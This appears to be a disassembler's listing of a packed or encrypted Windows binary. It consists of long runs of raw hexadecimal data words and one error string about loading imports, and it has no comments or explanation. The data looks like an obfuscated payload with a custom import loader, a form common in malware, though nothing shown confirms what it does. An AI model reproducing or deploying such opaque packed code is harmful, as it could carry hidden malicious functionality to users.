		dd 0D7D9876Fh, 7F1C12C6h, 3C1E774h, 0C350F3CBh,	0BF6F6283h
		dd 87379337h, 58B4D189h, 0BB49AD1Eh, 1F3C7E01h,	0AF15CBFFh
		dd 0AB1F3C7Dh, 9D43F105h, 2B474B00h, 8939EDAEh,	5D0164BEh
		dd 5CF994E5h, 0FACA764Ah, 34ADC13Fh, 0AA6235C0h, 0E9F95A22h
		dd 1EF7CD28h, 0F56C32D6h, 0F315035Bh, 41DFE1EDh, 26CDCA64h
		dd 40804CA2h, 9A94DA59h, 133BD97h, 3D29CC76h, 0F26643B3h
		dd 0E4F16F7Ch, 8E658B0Dh, 70EEB601h, 0A3418D63h, 0BCDC2B8h
		dd 23C72AACh, 0AFF58299h, 1C35BB05h, 0E211DF01h, 0C608965Eh
		dd 0DD1C35CAh, 24BA12CAh, 1502DC89h, 7663B6Fh, 0C7A85EBDh
		dd 43C52CA9h, 0F2C315ADh, 5B39EE16h, 76EA5E95h,	67B27D69h
		dd 882BF2D5h, 5299Eh, 5D7AD800h, 3CA5B840h, 1B86995Fh
		dd 7166FE82h, 1CBDB42Ch, 43C7B47Fh, 6AEEAF2Ah, 41B7E4F1h
		dd 77E9B22Fh, 0BBDDEFBh, 3D971DC3h, 29312FAh, 0FCAD15C1h
		dd 396C4B85h, 13A631C5h, 0F469933Bh, 3F6509EDh,	1502C470h
		dd 0DFFC7284h, 6E5E9014h, 30C4D54Ch, 0BC9C23B1h, 0B15D1300h
		dd 0BCFDC7DDh, 0F7F91300h, 9C2B2FFh, 928582C4h,	0F6BCE2A6h
		dd 0F21300C4h, 0C76108ECh, 32000000h, 3641B52Bh, 0E7D9F51Ch
		dd 0A2734F4Ah, 0CC9FF199h, 3C00D420h, 3E685290h, 3A5C1C36h
		dd 0B32C40BAh, 8B316F1Bh, 7F1C363Eh, 1FC09D59h,	0CE14B888h
		dd 1C363EECh, 4A57C8F2h, 0DA1ABFB4h, 0CB6F8224h, 0D42E81F3h
		dd 866EB615h, 4F7F1814h, 0CE26B3ADh, 59476EF9h,	83989507h
		dd 6959DB16h, 0E50B43A2h, 61BA5E9h, 20D4589Bh, 35613092h
		dd 6F82241Ch, 237861FDh, 319D6D44h, 35616D73h, 21532B1Ch
		dd 3D727474h, 6B6D23D3h, 60D6F888h, 198A1C35h, 445A2E2Bh
		dd 1C35607Eh, 268C527Ah, 221C3560h, 0EF82727Ch,	0BEE4E8B8h
		dd 1C356118h, 4B4CE4D6h, 6C03F5ABh, 6F4F7F71h, 0E7FD9DCEh
		dd 0A78470CFh, 0F1BBh, 0EB150C00h, 0DCFD7570h, 995D9315h
		dd 0EBE3BB0Eh, 373FAB5h, 48561E15h, 13011082h, 4E7E7076h
		dd 588BEF6Eh, 3CEAD6C3h, 0C241B57Bh, 59D0D54Eh,	0C12FB140h
		dd 0E1BB0BDCh, 0DA19B7EDh, 0DBFD1300h, 4D54C9F3h, 4BD222A6h
		dd 7C1D15A7h, 6D03F375h, 0DA94551Ch, 757C1D14h,	836E6B03h
		dd 775C4895h, 6BAA6369h, 9F515725h, 0C88173F2h,	801A9485h
		dd 7DE2h, 982EB100h, 0EED40AC2h, 0F41C3641h, 0F8B78B8Ch
		dd 0F4787B64h, 8D5728CCh, 0BE35BB69h, 0D7C4D14Ah, 0BF059BEFh
		dd 0BB1C3585h, 0C10B9935h, 0B51C3585h, 6630C333h, 366C20ACh
		dd 1C35858Ch, 85664C92h, 3C621C35h, 0E8946086h,	358644BAh
		dd 0CE14B81Ch, 1C3585E4h, 0C130BEE0h, 35458D33h, 837D411Ch
		dd 8004EFEAh, 10351F74h, 916075EEh, 627FF10Fh, 0DDB7FF92h
		dd 463DB3F1h, 2FB11C35h, 2B47BD6Eh, 5DD143AEh, 3D885744h
		dd 343B6965h, 0E8150364h, 1B9D2BC6h, 0DC13011Bh, 8BC29B89h
		dd 0DC928523h, 3Eh, 72EB15ABh, 6188C67h, 0B5A95799h, 6A3DC82Ch
		dd 4C6E1AB2h, 0A02EC6D3h, 15037175h, 0FE8E658Bh, 130111B8h
		dd 876A77E8h, 787B1E15h, 0CEA99B08h, 577064C1h,	928529F6h
		dd 0BE71h, 0AD152200h, 0B386A543h, 0AE2B44C5h, 33A0BE40h
		dd 46B83CC0h, 0D246AD2Ah, 41B33E5Bh, 0CB3DB42Dh, 73514A57h
		dd 1C35E82Dh, 398011Dh,	1608E17Dh, 8E66A89h, 0A3BB45E9h
		dd 0BD39BB36h, 7C79F2Ah, 0F3D907C3h, 0E71C35E7h, 0C09F35C1h
		dd 0B4150313h, 3BC56932h, 0B33EB623h, 1AA428E0h, 0BA5E9603h
		dd 0CC801324h, 4F7F210Bh, 3935B4ADh, 8B4D4EA0h,	1EDF0792h
		dd 0BFE9A254h, 2184A34h, 95C70000h, 78F56B30h, 0ABC43C61h
		dd 73EB6D2Eh, 0AAC33566h, 0D4A56E2Fh, 19A3F36h,	0ACF1E47Fh
		dd 9D3A34h, 0A2FBE478h,	0FAC0DEAEh, 0EE12FA3Ah,	2E47DEDDh
		dd 0F26EF2ABh, 41971DC3h, 0D931C36h, 2E19BAE3h,	0B30BC39Bh
		dd 0AEFAE89Bh, 27D323F5h, 348AE79h, 86245C15h, 0AE94B14Bh
		dd 51570DE9h, 677D517Dh, 1300605Dh, 278D5759h, 23130060h
		dd 54FA797Dh, 0CA2AB7AAh, 609234h, 2DAAC213h, 0BFDC52C6h
		dd 0EDD74434h, 3420850Ah, 85DABA13h, 0DAAD92h, 0E7D90000h
		dd 36AA494Ch, 0D759983Dh, 4736DD19h, 9F43AE2Bh,	6093061Dh
		dd 8B2F0DCh, 0FC1C3642h, 89A01ADAh, 0C33DE110h,	2DC333AEh
		dd 1C36466Bh, 0D52C47DBh, 0FC13300Bh, 31158668h, 0A2D6918Fh
		dd 0D593F987h, 7DFFF2FCh, 6E6B0779h, 0F5ADF883h, 0B4ACCBD9h
		dd 4E501502h, 6F27724Dh, 5CBF415Fh, 0AD330BCCh,	14819F21h
		dd 0ABC23CE0h, 15B96D2Eh, 341AE5CFh, 53CFE11Ch,	0C729AB46h
		dd 35A4BD2Fh, 0A1B8E2B1h, 8E78FBE9h, 0FAh, 6D2E8BA9h, 326B76EBh
		dd 7724B1AEh, 2B706901h, 801DBCB5h, 2D44C6B3h, 0F269EFACh
		dd 2C42B6E7h, 0F66AEEAFh, 0D0FCB4E9h, 0FA39A812h, 0CCEF9C12h
		dd 0D19AAD15h, 2DD7C8EDh, 0BBDE57C9h, 0F794ECE2h, 2111E7Eh
		dd 0FAF99E96h, 27C7876h, 872C716Eh, 1EAE2B47h, 0E212879Ch
		dd 3E75E95Bh, 0C9B02179h, 0DFBC323Ch, 0F1DDB500h, 6F0C239Dh
		dd 355E8B31h, 97597F1Ch, 5E23A937h, 91171C35h, 0DB4ACF65h
		dd 2AD4150Ch, 0C94BA633h, 0ED81772Dh, 85F7FAF4h, 0E2DCF0E9h
		dd 62804C49h, 12FB2258h, 0CDAA4A4Ch, 3A68170Bh,	12FB2290h
		dd 0DDFA7284h, 925C9216h, 0E735D15Fh, 73F240BDh, 5D7AF681h
		dd 0F9748640h, 831650B2h, 7B750AECh, 526D017Bh,	4179268Ch
		dd 727C22BFh, 84150D7Fh, 19BEB648h, 1F9E56DAh, 5F0E431h
		dd 832B7069h, 0FAF9E079h, 100C7E76h, 3826C87h, 0C3000000h
		dd 1547844Fh, 53CF41B0h, 2739AB46h, 0AEC537BAh,	0DD54C82Bh
		dd 0AAC335BCh, 0D850C42Fh, 0AFC034BFh, 0D04DBF32h, 505D2AC9h
		dd 405E089h, 55000000h,	4BDh, 5DE82900h, 5C240487h, 6D9368h
		dd 241C8900h, 7EEC68h, 240C8900h, 0FCBEBA52h, 8950093Bh
		dd 58C389D0h, 4EC815Ah,	89000000h, 4832424h, 68590424h
		dd 490Ch, 81241C89h, 68DD2404h,	418F6FAAh, 8698108h, 6FAA68DDh
		dd 56240C8Bh, 0C681E689h, 4, 4C681h, 34870000h,	1C8B5C24h
		dd 0E0895024h, 405h, 40500h, 4870000h, 91E95C24h, 4AFFF974h
		dd 70A8B3Dh, 56A0866Ah,	0B81E9869h, 93C09BDh, 0E0FFC503h
		dd 36759120h, 406F0F96h, 65B6EBD0h, 4476C168h, 274AABDAh
		dd 36D91196h, 951B18Ah,	596BE473h, 58469220h, 489072EBh
		dd 1FA23B21h, 0B4F8D8Dh, 6660093Ch, 8B1B47BAh, 8D8961F1h
		dd 9351629h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0A8C35242h, 0C3904882h,	0F5BD3381h, 8B09350Dh
		dd 3500E5BDh, 7D85C709h, 0D4093528h, 6A000068h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 6B0C355h, 25B86618h,	5585C766h, 93522h, 0E9000000h
		dd 10h,	2B75C4BDh, 0CF3CFCA9h, 0FF159F7Eh, 0C0EDB50Fh
		dd 2C79B5FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 3C38EDC3h, 0FDA9BF6Bh, 95FF6B16h
		dd 9350D05h, 22919533h,	6A0935h, 82995FFh, 0C08B0935h
		dd 8F0A29EBh, 0D4EF3E47h, 16346005h, 0EFEFE6Eh,	0CB756473h
		dd 45A1B72Bh, 404A42B3h, 16E5B4D4h, 79D2987Dh, 8967C5BBh
		dd 0E95DB46Ch, 127h, 73765B50h,	154EEFACh, 0
aAnErrorHasOcur	db 'An Error has ocurred while loading imports',0
		db 37h
		dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h
		dd 777E600h, 5 dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 2000000h, 48000000h,	0F4C706E1h, 0CF63921Dh,	838F96A6h
		dd 113B2040h, 35B11C13h, 4D07251Fh, 722B6166h, 0A9F29E35h
		dd 88321177h, 6EF390EFh, 0BFBF1C53h, 1805A15Eh,	0D069C699h
		dd 744BA8E5h, 56321C53h, 0A9614571h, 88321177h,	6EF390EFh
		dd 0BFBF1C53h, 1805A441h, 0D069C699h, 0F9B1D5EDh, 2B0E1EB7h
		dd 1B61A66h, 5321566h, 7FC12DE3h, 0AFE2EA6Fh, 2AC17DE3h
		dd 4EE2EA6Fh, 712588E3h, 705A436Fh, 0EEAEBDDEh,	0BD2468D3h
		dd 34B7986Fh, 0DD3B2D1Dh, 0E0B79CB6h, 53B2047h,	783EB4E3h
		dd 0A7BF456Fh, 180E1EE4h, 0D5A7EA36h, 833B206Dh, 173FE8E3h
		dd 1132156Fh, 15B7D366h, 13B2071h, 505B7C0Eh, 0D887EAE8h
		dd 53B2068h, 710A8DE3h,	0ABE2EA6Fh, 2413F0E3h, 15B7D36Fh
		dd 73B2071h, 45594B0Eh,	0D887EAFAh, 53B2068h, 710A8DE3h
		dd 0ABE2EA6Fh, 2D39ACE3h, 15B7D36Fh, 103B2071h,	405A3C0Eh
		dd 0D887EA88h, 53B2068h, 710A8DE3h, 0ABE2EA6Fh,	2D39A8E3h
		dd 15B7D36Fh, 13B2071h,	420AD70Eh, 0D887EABCh, 53B2068h
		dd 710A8DE3h, 0ABE2EA6Fh, 2D39D4E3h, 918F966Fh,	443B207Ah
		dd 22779069h, 94F41566h, 810702FBh, 3AB47D23h, 97CDEF46h
		dd 18071BAFh, 0B0AA90EBh, 94CD1C53h, 29F790EFh,	94F41C5Ah
		dd 810702FBh, 94F17D2Ah, 97CDF540h, 18071BAFh, 0B0AA90EBh
		dd 94CD1C53h, 29FB90EFh, 51DB1C5Ah, 4E321566h, 712588E3h
		dd 2F5A476Fh, 0EE8E5F82h, 0BD192CD3h, 0DCB7986Fh, 0DD3B205Eh
		dd 0D4B79CB6h, 4E3B296Dh, 712588E3h, 6A5A476Fh,	0EE94592Ch
		dd 0BD192CD3h, 0DCB7986Fh, 0DD3B205Eh, 0D8B79CB6h, 4E3B296Dh
		dd 712588E3h, 0C85A476Fh, 0EECF57D2h, 0BD3CDCD3h, 0DCB7986Fh
		dd 0DD3B205Eh, 0B0B79CB6h, 4E3B207Bh, 712588E3h, 815A626Fh
		dd 0EEC182CEh, 0BD3768D3h, 0DCB7986Fh, 0DD3B205Eh, 0F4B79CB6h
		dd 4E3B2064h, 712588E3h, 355A476Fh, 0EEB8C857h,	0BD3CDCD3h
		dd 0DCB7986Fh, 0DD3B205Eh, 0C8B79CB6h, 4E3B206Ch, 712588E3h
		dd 1B5A436Fh, 0EEE60A0Bh, 0BD2468D3h, 34B7986Fh, 0DD3B2D1Dh
		dd 0C8B79CB6h, 4E3B204Dh, 712588E3h, 585A526Fh,	0EEB3C976h
		dd 0BD3CDCD3h, 0DCB7986Fh, 0DD3B205Eh, 2CB79CB6h, 4E3B207Dh
		dd 712588E3h, 0C05A526Fh, 0EEB81AD3h, 0BD3CDCD3h, 0DCB7986Fh
		dd 0DD3B205Eh, 0F8B79CB6h, 0B3B296Dh, 713234DBh, 0A63D156Fh
		dd 11321337h, 9FAF90A0h, 2C7E1C53h, 0FBE8098Fh,	1FFBA099h
		dd 0DBF1C53h, 4D072DFEh, 0A7BBC599h, 180E1EB3h,	9FAF90A0h
		dd 2C7E1C53h, 0FF46CBA8h, 1FFBA099h, 0DBF1C53h,	4D072DFEh
		dd 0A7BBC599h, 180E1EBFh, 9FAF90A0h, 2C7E1C53h,	95B39759h
		dd 1FFBA099h, 0DBF1C53h, 4D072DFEh, 0A7BBC599h,	180E1EBBh
		dd 9FAF90A0h, 2C7E1C53h, 911D557Eh, 1FFBA099h, 0DBF1C53h
		dd 4D072DFEh, 0A7BBC599h, 180E1EBBh, 9FAF90A0h,	2C741C53h
		dd 98EC1372h, 1FFBA099h, 0DBF1C53h, 4D072DFEh, 0A7BBC599h
		dd 180E1E83h, 9FAF90A0h, 2C751C53h, 0A3EE051Ch,	1FFBA099h
		dd 0DBF1C53h, 4D072DFEh, 0A7BBC599h, 180E1E8Bh,	9FAF90A0h
		dd 2C751C53h, 0CDB59BCAh, 1FFBA099h, 0DBF1C53h,	4D072DFEh
		dd 0A7BBC599h, 180E1E97h, 9FAF90A0h, 2C751C53h,	0F6A8B2B4h
		dd 1FFBA099h, 0DBF1C53h, 4D072DFEh, 0A7BBC599h,	180E1E93h
		dd 9FAF90A0h, 2C751C53h, 98F32C62h, 1FFBA099h, 0DBF1C53h
		dd 4D072DFEh, 0A7BBC599h, 180E1E9Fh, 0A3FBA8E5h, 31321C53h
		dd 0BFB7D346h, 563B2071h, 0FA1F720Eh, 8D87EA86h, 0AF3B2068h
		dd 240A8DE3h, 1E2EA6Fh,	7839E8E3h, 0BFB7D36Fh, 563B2071h
		dd 0A181A40Eh, 8D87EAE8h, 0AF3B2068h, 240A8DE3h, 1E2EA6Fh
		dd 783E14E3h, 0BFB7D36Fh, 523B2071h, 0FE78B20Eh, 8D87EAA6h
		dd 0AF3B2068h, 240A8DE3h, 1E2EA6Fh, 783E10E3h, 0BFB7D36Fh
		dd 5D3B2071h, 0EE5EFE0Eh, 3987EA9Dh, 0AF3B2063h, 240A8DE3h
		dd 1E2EA6Fh, 783E8CE3h,	0BFB7D36Fh, 553B2071h, 0FBBC400Eh
		dd 8D87EADDh, 0AF3B2068h, 240A8DE3h, 1E2EA6Fh, 783E1CE3h
		dd 0BFB7D36Fh, 523B2071h, 65CE90Eh, 8D87EADAh, 0AF3B2068h
		dd 240A8DE3h, 1E2EA6Fh,	783E18E3h, 0BFB7D36Fh, 423B2071h
		dd 980CBF0Eh, 8D87EAA0h, 0AF3B2068h, 240A8DE3h,	1E2EA6Fh
		dd 783E04E3h, 838F966Fh, 113B204Eh, 88D29169h, 0C1F41566h
		dd 2B0702FBh, 0DF037D20h, 3DCDEFF0h, 4D071BAFh,	1AAA90EBh
		dd 0C1CD1C53h, 845F90EFh, 0C1F41C5Ah, 2B0702FBh, 2BE47D20h
		dd 3DCDE9C1h, 4D071BAFh, 1AAA90EBh, 0C1CD1C53h,	844F90EFh
		dd 0C1F41C5Ah, 2B0702FBh, 0B5327D20h, 3DCD879Ah, 4D071BAFh
		dd 1AAA90EBh, 0C1CD1C53h, 84B390EFh, 0C1F41C5Ah, 2B0702FBh
		dd 5E587D20h, 3DCDE3B2h, 4D071BAFh, 1AAA90EBh, 0C1CD1C53h
		dd 84B790EFh, 0C1F41C5Ah, 2B0702FBh, 41D57D20h,	3DCD81ABh
		dd 4D071BAFh, 1AAA90EBh, 0C1CD1C53h, 844390EFh,	0C1F41C5Ah
		dd 2B0702FBh, 65097D20h, 3DCDA444h, 4D071BAFh, 1AAA90EBh
		dd 0C1CD1C53h, 844790EFh, 0C1F41C5Ah, 2B0702FBh, 0FBDF7D20h
		dd 3DCDCA1Fh, 4D071BAFh, 1AAA90EBh, 0C1CD1C53h,	844B90EFh
		dd 0F9B11C5Ah, 2B073EAFh, 0D7126066h, 0BD2588E3h, 1A5A466Fh
		dd 0DDFCAB86h, 243CDCD3h, 10B7986Fh, 0BB3B205Eh, 37B79CB6h
		dd 0D73B296Ah, 0BD2588E3h, 0C35A526Fh, 0DDF5A438h, 243CDCD3h
		dd 10B7986Fh, 0BB3B205Eh, 3BB79CB6h, 923B296Ah,	0BD19DCDBh
		dd 6447156Fh, 35AF90A0h, 79751C53h, 6E506B63h, 4AFBA099h
		dd 0A7BF1C53h, 18072DFEh, 0DBBC599h, 4D0E197Bh,	35AF90A0h
		dd 79711C53h, 1A481C90h, 4AFBA099h, 0A7BF1C53h,	18072DFEh
		dd 0DBBC599h, 4D0E1947h, 35AF90A0h, 79711C53h, 74138246h
		dd 4AFBA099h, 0A7BF1C53h, 18072DFEh, 0DBBC599h,	4D0E1943h
		dd 9FBA8E5h, 64321C53h,	15B7D326h, 73B2071h, 229A160Eh
		dd 0D887EAEDh, 53B2068h, 710A8DE3h, 0ABE2EA6Fh,	2D3E38E3h
		dd 15B7D36Fh, 73B2071h,	7904C00Eh, 0D887EA83h, 53B2068h
		dd 710A8DE3h, 0ABE2EA6Fh, 2D3E3CE3h, 15B7D36Fh,	73B2071h
		dd 8800F40Eh, 0D887EA8Ch, 53B2068h, 710A8DE3h, 0ABE2EA6Fh
		dd 2D3E24E3h, 15B7D36Fh, 73B2071h, 0D39E220Eh, 0D887EAE2h
		dd 53B2068h, 710A8DE3h,	0ABE2EA6Fh, 2D3E20E3h, 15B7D36Fh
		dd 0B3B2071h, 17A2C10Eh, 0D887EAF1h, 53B2068h, 710A8DE3h
		dd 0ABE2EA6Fh, 2D3E2CE3h, 15B7D36Fh, 0B3B2071h,	4C3C170Eh
		dd 0D887EA9Fh, 53B2068h, 710A8DE3h, 0ABE2EA6Fh,	2D3E28E3h
		dd 15B7D36Fh, 93B2071h,	154B5C0Eh, 0D887EAAEh, 53B2068h
		dd 710A8DE3h, 0ABE2EA6Fh, 2D3E50E3h, 15B7D36Fh,	93B2071h
		dd 0D57F9C0Eh, 0D887EABAh, 53B2068h, 710A8DE3h,	0ABE2EA6Fh
		dd 2D3E54E3h, 15B7D36Fh, 113B2071h, 391F220Eh, 0D887EAFAh
		dd 53B2068h, 710A8DE3h,	0ABE2EA6Fh, 2D3E5CE3h, 15B7D36Fh
		dd 73B2071h, 0F7C23F0Eh, 0D887EAB4h, 53B2068h, 710A8DE3h
		dd 0ABE2EA6Fh, 2D3E58E3h, 15B7D36Fh, 163B2071h,	6086FF0Eh
		dd 0D887EA9Bh, 53B2068h, 710A8DE3h, 0ABE2EA6Fh,	242FB4E3h
		dd 15B7D36Fh, 33B2071h,	0BA6B8C0Eh, 0D887EA84h,	53B2068h
		dd 710A8DE3h, 0ABE2EA6Fh, 2D3E44E3h, 15B7D36Fh,	33B2071h
		dd 0DF52D70Eh, 0D887EAD7h, 53B2068h, 710A8DE3h,	0ABE2EA6Fh
		dd 2D3E40E3h, 15B7D36Fh, 33B2071h, 84CC010Eh, 0D887EAB9h
		dd 53B2068h, 710A8DE3h
		dd 0ABE2EA6Fh, 2D3E4CE3h, 15B7D36Fh, 1B3B2071h,	72C07D0Eh
		dd 0D887EAF8h, 53B2068h, 710A8DE3h, 0ABE2EA6Fh,	2D3E48E3h
		dd 15B7D36Fh, 0B3B2071h, 0DE492A0Eh, 0D887EAA1h, 53B2068h
		dd 710A8DE3h, 0ABE2EA6Fh, 2D3E9CE3h, 15B7D36Fh,	33B2071h
		dd 795C590Eh, 0D887EA9Ch, 53B2068h, 710A8DE3h, 0ABE2EA6Fh
		dd 2D3E98E3h, 15B7D36Fh, 33B2071h, 2416D80Eh, 0D887EAA5h
		dd 53B2068h, 710A8DE3h,	0ABE2EA6Fh, 2D3E84E3h, 15B7D36Fh
		dd 1B3B2071h, 9952D90Eh, 0D887EAB2h, 53B2068h, 710A8DE3h
		dd 0ABE2EA6Fh, 2D3E74E3h, 15B7D36Fh, 1B3B2071h,	0CB665B0Eh
		dd 0D887EAF8h, 53B2068h, 710A8DE3h, 0ABE2EA6Fh,	2D3E70E3h
		dd 15B7D36Fh, 1B3B2071h, 311A5D0Eh, 0D887EAB7h,	53B2068h
		dd 710A8DE3h, 0ABE2EA6Fh, 2D3E7CE3h, 0E0367F6Fh, 44320566h
		dd 2222150Eh, 0EE327F66h, 0BD13E4F3h, 0A1B79C6Fh, 0AF3B2044h
		dd 2AF831E3h, 0E2E2EA6Fh, 54327D62h, 225A1566h,	7B321546h
		dd 79A7EA66h, 0CD3B2047h, 172CD0E3h, 80B79C6Fh,	0E23B206Ah
		dd 54327D26h, 225A1566h, 7B321466h, 79A7EA66h, 0CD3B2047h
		dd 173DC8E3h, 0C8879E6Fh, 33B207Dh, 711EA0FBh, 1F879C6Fh
		dd 983B207Ah, 0BD1F3CFBh, 0F1AF9E6Fh, 0A93B204Ah, 11CB966Dh
		dd 82ED9169h, 15621566h, 0ABF22606h, 242068E3h,	880EAB6Fh
		dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h
		dd 9FBB0D18h, 18073FABh, 0D3DEAE3h, 4432156Ch, 22231B8Eh
		dd 11A3FC66h, 3631566h,	40E07EB1h, 0F3380EFh, 15581C53h
		dd 8822150Eh, 44584766h, 3C38099h, 94BB1C53h, 810707B7h
		dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h
		dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 0A18F9EB1h,	0A13B2044h
		dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh
		dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 0BD2068E3h
		dd 39A79E6Fh, 1B3B2074h, 2418D8F3h, 82B61A6Fh, 1E321566h
		dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 2B071337h
		dd 11321566h, 88DB90A1h, 44321C53h, 9FB11566h, 180E1EB7h
		dd 80B61A66h, 0C9321566h, 195E3AFBh, 0EEE1EA6Fh, 0BD2478E3h
		dd 298F966Fh, 463B2070h, 11509769h, 0DF51566h, 4D07030Bh
		dd 22321567h, 0B8879806h, 53B296Ah, 781B01DBh, 0A9CC3E6Fh
		dd 0F48F9EB1h, 0B3B2044h, 8401EAAFh, 0E30013ECh, 96369E20h
		dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 0A24B905Fh
		dd 0C03D1C53h, 22321571h, 3257A8E5h, 87321C53h,	44321FE3h
		dd 0DFB7D266h, 103B206Bh, 0E9321566h, 77D3F7DFh, 44CBAF1Ah
		dd 989F78C9h, 0BD2E28D3h, 0B874D26Fh, 22321566h, 0FFDCFB5Bh
		dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h
		dd 44321560h, 26F49666h, 0D0FA0EFh, 71DB1C53h, 0CF32156Eh
		dd 0DFB726BEh, 0D03B206Bh, 4A1916AEh, 7722D5A7h, 0DFAF9CA7h
		dd 2C3B206Bh, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh
		dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 0BD2E28D3h
		dd 0F1AF9E6Fh, 0A93B204Ah, 71E29E6Dh, 0D19D7EDh, 4D07314Fh
		dd 2130F5A7h, 2434B4E3h, 8B9F836Fh, 60769CA7h, 5EDB747Ah
		dd 40321566h, 3FB2634h,	7120C4F3h, 2D302E6Fh, 11322DE2h
		dd 8CF09666h, 89BF2E27h, 2D3B204Ch, 0EECDFDE3h,	6879899h
		dd 0C93B296Dh, 172D88DBh, 0D1B6B96Fh, 88349169h, 0AD981566h
		dd 0DDCDEA97h, 113215DEh, 8ABF9866h, 0BB3B202Ah, 5FBF9C87h
		dd 4B3B2074h, 15B9433Fh, 4D0739D3h, 0A7B91EEDh,	1807071Bh
		dd 0D31F5B7h, 4D0705E3h, 44A4E355h, 13D2D4CBh, 8E939065h
		dd 0E9A41C53h, 0A16CD465h, 243074DBh, 0C3D146Fh, 4432155Fh
		dd 2CFB985Dh, 953D1C53h, 8832154Bh, 414F985Dh, 0A63D1C53h
		dd 11321547h, 0AE13985Dh, 0C03D1C53h, 22321573h, 31DE88EBh
		dd 5BCD1C5Ah, 0C1BBEDEDh, 2B073D53h, 1134A18Fh,	64AF9866h
		dd 0BB3B2946h, 438F96B5h, 113B2064h, 882F9169h,	0C1091566h
		dd 2B073243h, 113E9169h, 0D091566h, 4D0716E7h, 22379069h
		dd 0A8DB1566h, 0B3CDEA99h, 7113F0E3h, 3AB71A6Fh, 92321566h
		dd 0BD2E0CDBh, 0C13D156Fh, 2232156Dh, 0DECC90EBh, 1DDB1C5Dh
		dd 7FCDEA99h, 1713F0E3h, 98B61A6Fh, 0BCDEA99h, 78399FDBh
		dd 0A73D146Fh, 11321571h, 83DB905Dh, 0C13D1C5Ah, 2232156Dh
		dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 38F9699h,	113B2066h
		dd 8B559169h, 0C1091566h, 2B0E1EB3h, 94B91213h,	8107364Fh
		dd 99B72E21h, 573B296Dh, 0F4B79E61h, 0CF3B207Bh, 4FEB905Dh
		dd 25471C5Ah, 1E390EDh,	0B3751C53h, 7839F4E3h, 0A935606Fh
		dd 243140E3h, 0D09526Fh, 4D0E1E83h, 0A7B91213h,	18070557h
		dd 61B72E21h, 313B296Dh, 0BB79E61h, 563B204Ah, 83DF905Dh
		dd 43471C5Ah, 94790EDh,	2A751C53h, 0B439E4E3h, 0CF35606Fh
		dd 171DACE3h, 9409526Fh, 810E1E93h, 0C1B91213h,	2B07310Fh
		dd 0E8B72E21h, 0FD3B296Dh, 9DB79E61h, 653B2076h, 1D33905Dh
		dd 8F471C5Ah, 63F790EDh, 19751C53h, 2D39E8E3h, 0B22606Fh
		dd 7119DCDBh, 2547156Fh, 219F90EDh, 0B751C53h, 712D74DBh
		dd 2D46156Fh, 1DBB905Dh, 8F471C5Ah, 6B0B90EDh, 0A1751C53h
		dd 241AB4DBh, 0FA46156Fh, 44FFA8E5h, 56321C53h,	7CB72E0Fh
		dd 0FD3B296Ah, 35B79E61h, 653B204Ch, 1D4F905Dh,	8F471C5Ah
		dd 4B3390EDh, 19751C53h, 2D3E64E3h, 335606Fh, 713F90E3h
		dd 0A709526Fh, 180E19E7h, 0DB91213h, 4D072753h,	0A7B72E21h
		dd 643B296Ah, 0D5B79E61h, 33B207Ah, 2E47905Dh, 16471C5Ah
		dd 891B90EDh, 7F751C53h, 1E3E6CE3h, 9A35606Fh, 0BD1FE4E3h
		dd 0F9B1526Fh, 2B0715ABh, 1BB61A66h, 0B3321564h, 783E10E3h
		dd 0A935606Fh, 242F2CE3h, 0D09526Fh, 4D0E19FFh,	0A7B91213h
		dd 1807162Bh, 81B72E21h, 313B296Ah, 33B79E61h, 563B2077h
		dd 843F905Dh, 43471C5Ah, 224390EDh, 2A751C53h, 0B43E04E3h
		dd 0CF35606Fh, 17011CE3h, 9409526Fh, 810E1973h,	0F9B10513h
		dd 2B073EAFh, 9A356066h, 0BD290CE3h, 0C109526Fh, 2B0E197Fh
		dd 94B91213h, 81073773h, 59B72E21h, 573B296Ah, 0D88F9676h
		dd 883B204Dh, 0C1B91213h, 2B073BBBh, 30B72E21h,	0FD3B296Ah
		dd 0D5B79E61h, 653B2070h, 1D17905Dh, 8F471C5Ah,	6EA390EDh
		dd 19751C53h, 2D3E38E3h, 0B22606Fh, 7119DCDBh, 2547156Fh
		dd 4790EDh, 0B3751C53h,	783E3CE3h, 0A122606Fh, 2419DCDBh
		dd 8F47156Fh, 763F90EDh, 19751C53h, 2D3E24E3h, 335606Fh
		dd 71109CE3h, 0A709526Fh, 180E1953h, 0DB91213h,	4D0702CFh
		dd 1BB72E21h, 643B296Ah, 0CDB79E61h, 33B2055h, 2E0F905Dh
		dd 16471C5Ah, 0BA1390EDh, 7F751C53h, 1E3E54E3h,	9A35606Fh
		dd 0BD37BCE3h, 0C109526Fh, 2B0E1923h, 94B91213h, 81070393h
		dd 0DB72E21h, 573B296Ah, 48B79E61h, 0CF3B2056h,	487F905Dh
		dd 25471C5Ah, 123390EDh, 0B3751C53h, 712FB4E3h,	0A935606Fh
		dd 2424D0E3h, 0D09526Fh, 4D0E1937h, 0A7B91213h,	18073D63h
		dd 5B72E21h, 313B296Ah,	0B78F967Fh, 113B296Ah, 35B11C13h
		dd 4D071707h, 0A9356166h, 243684E3h, 0D09526Fh,	4D0E19F7h
		dd 9FB10C13h, 180E19F3h, 0B3B6066h, 713074DBh, 2546156Fh
		dd 391B90EDh, 0B3751C53h, 783E40E3h, 0A935606Fh, 243A54E3h
		dd 0D09526Fh, 4D0E193Fh
		dd 0A7B91213h, 1807036Fh, 0D5B72E21h, 313B296Ah, 0FFB79E61h
